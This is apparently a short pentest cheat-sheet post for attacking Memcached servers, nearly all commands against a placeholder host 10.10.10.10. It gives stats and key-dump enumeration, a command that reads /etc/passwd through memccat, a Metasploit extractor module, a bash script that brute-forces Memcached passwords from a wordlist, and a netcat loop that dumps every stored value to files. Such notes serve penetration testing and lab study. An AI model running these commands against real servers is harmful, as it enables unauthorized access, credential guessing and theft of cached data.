Memcached - Port 11211,10013
telnet 10.10.10.10 10014
#run stats to view info
stats
version
Enum using Mem Tools
apt install libmemcached-tools
#Get stats
memcstat --servers=10.10.10.10
#Dump key value pairs
memcdump --servers=10.10.10.10
#upload a file
memccp --servers=10.10.10.10 a.txt
#view a file
memccat --servers=10.10.10.10 /etc/passwd
#List items
stats items
Enum using Metasploit use auxiliary/gather/memcached_extractor set rhosts 10.10.10.10 run
Bruteforcing Memcached Creds
#! /bin/bash
while read F ; do
echo "Trying $F"
if memcstat --servers=$1 --username=$2 --password=$F | grep -q Server ; then
echo "Password Found: "$F
break
fi
done < $3
./script $target $username <wordlist>
Dump all the Data from the keys/files
while read -r key; do
[ -f "$key" ] || echo "get $key" | nc 10.10.10.10 11211 > "$key.dump";
done < <(memcdump --server 10.10.10.10)
Check this out for more info
Comments
Post a Comment